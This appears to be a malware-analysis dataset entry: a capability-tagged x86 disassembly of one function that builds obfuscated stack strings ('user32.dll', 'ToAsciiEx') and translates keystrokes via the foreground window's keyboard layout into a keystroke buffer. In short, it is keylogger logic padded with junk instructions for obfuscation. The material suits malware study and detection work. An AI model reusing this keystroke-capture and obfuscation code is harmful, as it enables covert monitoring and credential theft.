Function at 0x1000df70
Capabilities:
Contain obfuscated stackstrings
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x1005f004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0x72657375
mov dword [ebp - 0x18], 0x642e3233
mov word [ebp - 0x14], 0x6c6c
mov byte [ebp - 0x12], 0
je 0x1000e0d6
push 0x30
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.10012c40
mov esi, dword [0x1005fb54]
add esp, 0xc
mov dword [ebp - 0x80], 0x30
test esi, esi
jne 0x1000e05a
movaps xmm0, xmmword [0x10054830]
mov dword [ebp - 0x10], 0x72657375
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
movups xmmword [ebp - 0x3c], xmm0
mov byte [ebp - 0x2c], 0
push edi
mov edi, 0x6e18c371
add edi, esp
mov edi, 0x831fbc5c
nop
pop edi
push edx
mov edx, 0x6f7a0897
mov edx, 0xd355d85e
sbb edx, esi
add edx, edx
nop
pop edx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x1000e050
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000e050
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
push eax
call ebx
mov esi, eax
mov dword [0x1005fb54], esi
test esi, esi
je 0x1000e073
lea eax, [ebp - 0x80]
push eax
push 0
call esi
test eax, eax
je 0x1000e073
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x8c], eax
test eax, eax
jne 0x1000e07f
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x8c], eax
push ebx
mov ebx, 0x1bad42d8
sub ebx, ecx
nop
pop ebx
push 0
push dword [ebp - 0x8c]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
cmp byte [0x10061883], 0
mov ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x8c], eax
je 0x1000e0c7
test eax, eax
jne 0x1000e0c7
push ecx
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyExA]
jmp 0x1000e0e4
mov eax, dword [0x10061e94]
test eax, eax
je 0x1000e0ea
push 0
call eax
jmp 0x1000e0ea
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x8c], eax
push ecx
mov ecx, 0x2ee9a767
mov ecx, 0xa15307bc
sbb ecx, esp
add ecx, esi
pop ecx
movaps xmm0, xmmword [0x10054790]
movups xmmword [ebp - 0x50], xmm0
mov byte [ebp - 0x40], 0
push edi
xor edi, edx
sbb edi, eax
xor edi, esi
xor edi, esp
sbb edi, edx
mov edi, 0xdf49b422
pop edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x1c]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
test eax, eax
jne 0x1000e15e
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000e4f4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x1c]
push eax
call edi
push eax
call esi
test eax, eax
je 0x1000e4f4
push 0x100619a8
call eax
test eax, eax
je 0x1000e4f4
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x73416f54
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0x45696963
push eax
mov word [ebp - 0x20], 0x78
call fcn.1000a920
add esp, 8
mov dword [ebp - 0x84], eax
test eax, eax
je 0x1000e4f4
mov byte [ebp - 0x85], 0
push eax
xor eax, esi
mov eax, 0xa6e42567
add eax, esp
sbb eax, esp
pop eax
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x90]
mov esi, dword [ebp - 0x8c]
mov ebx, dword [ebp + 8]
push edi
push 0
push eax
push 0x100619a8
push esi
push ebx
call dword [ebp - 0x84]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1000e4f4
mov cl, byte [0x10061883]
test cl, cl
jne 0x1000e1f0
cmp eax, 0xffffffff
je 0x1000e1f9
cmp eax, 2
jne 0x1000e254
test cl, cl
je 0x1000e254
push edi
push 0
lea eax, [ebp - 0x90]
push eax
push 0x100619a8
push esi
push ebx
call dword [ebp - 0x84]
mov dword [0x10061d88], esi
mov ecx, 0x40
mov esi, 0x100619a8
mov byte [0x10061e90], 1
mov edi, 0x10061d8c
mov dword [0x10061e8c], ebx
rep movsd dword es:[edi], dword [esi]
push edx
mov edx, 0x80a5ccf5
mov edx, 0xe4001d3c
nop
pop edx
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
cmp byte [0x10061e90], 0
je 0x1000e2e6
test cl, cl
je 0x1000e273
cmp eax, 0xffffffff
jne 0x1000e273
mov byte [ebp - 0x85], 1
jmp 0x1000e29a
push edi
push 0
lea eax, [ebp - 0x8c]
push eax
push 0x10061d8c
push dword [0x10061d88]
push dword [0x10061e8c]
call dword [ebp - 0x84]
mov cl, byte [0x10061883]
lea eax, [ebp - 0x90]
push edi
push 0
push eax
push 0x100619a8
push esi
push ebx
test cl, cl
je 0x1000e2ba
call dword [ebp - 0x84]
mov dword [ebp - 0xc], eax
jmp 0x1000e2df
mov ebx, dword [ebp - 0x84]
call ebx
push edi
push 0
lea eax, [ebp - 0x8c]
push eax
push 0x10061d8c
push dword [0x10061d88]
push dword [0x10061e8c]
call ebx
mov byte [0x10061e90], 0
push edi
mov edi, 0x29e8aaed
sbb edi, eax
xor edi, edx
xor edi, esp
pop edi
cmp byte [ebp + 0x14], 0
je 0x1000e4f4
cmp dword [0x100611b8], 0
jne 0x1000e404
mov eax, dword [ebp + 8]
mov word [ebp - 0x84], 0xa0d
mov byte [ebp - 0x82], 0
cmp eax, 8
jne 0x1000e361
xor eax, eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
lea eax, [ebp - 0xc]
push eax
mov eax, dword [0x10061ea0]
push dword [0x10061e98]
push dword [eax + 4]
call fcn.10005400
push eax
call fcn.10002a50
add esp, 0x10
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
cmp eax, 0xd
jne 0x1000e3c6
push eax
mov eax, 0x83428245
mov eax, 0xe79c530c
add eax, eax
and eax, ecx
nop
pop eax
lea edx, [ebp - 0x84]
xor esi, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1000e382
sub edx, ecx
test edx, edx
jle 0x1000e3f1
mov ecx, dword [0x10061884]
cmp ecx, 0x64
jge 0x1000e3f1
mov al, byte [ebp + esi - 0x84]
inc esi
mov byte [ecx + 0x10061608], al
inc ecx
mov dword [0x10061884], ecx
cmp esi, edx
jl 0x1000e395
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
cmp eax, 0x1b
je 0x1000e3f1
cmp eax, 9
jne 0x1000e404
push esi
mov esi, 0x9f2de4c
sub esi, edi
nop
pop esi
mov eax, dword [0x10061884]
cmp eax, 0x64
jge 0x1000e3f1
mov byte [eax + 0x10061608], 9
inc eax
mov dword [0x10061884], eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 0x84], al
jg 0x1000e47a
cmp byte [ebp - 0x85], 0
jne 0x1000e486
cmp al, 0x1f
jbe 0x1000e4e1
push esi
sbb esi, esp
add esi, esi
sbb esi, eax
sbb esi, edx
add esi, esp
or esi, edi
pop esi
push eax
mov eax, 0x2f7bc91a
or eax, edi
nop
pop eax
mov ecx, dword [0x10061884]
cmp ecx, 0x64
jge 0x1000e4e1
mov eax, dword [ebp - 0x8c]
mov byte [ecx + 0x10061608], al
inc ecx
mov dword [0x10061884], ecx
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 0x85], 0
jne 0x1000e486
shr eax, 8
mov byte [ebp - 0x83], al
mov byte [ebp - 0x82], 0
push esi
sbb esi, eax
add esi, edx
mov esi, 0x54e77d15
mov esi, 0x901aa533
nop
pop esi
lea edx, [ebp - 0x84]
xor esi, esi
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x1000e4b0
sub edx, ecx
test edx, edx
jle 0x1000e4e1
mov ecx, dword [0x10061884]
cmp ecx, 0x64
jge 0x1000e4db
mov al, byte [ebp + esi - 0x84]
inc esi
mov byte [ecx + 0x10061608], al
inc ecx
cmp esi, edx
jl 0x1000e4c3
mov dword [0x10061884], ecx
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10010ee3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010ee3
mov esp, ebp
pop ebp
ret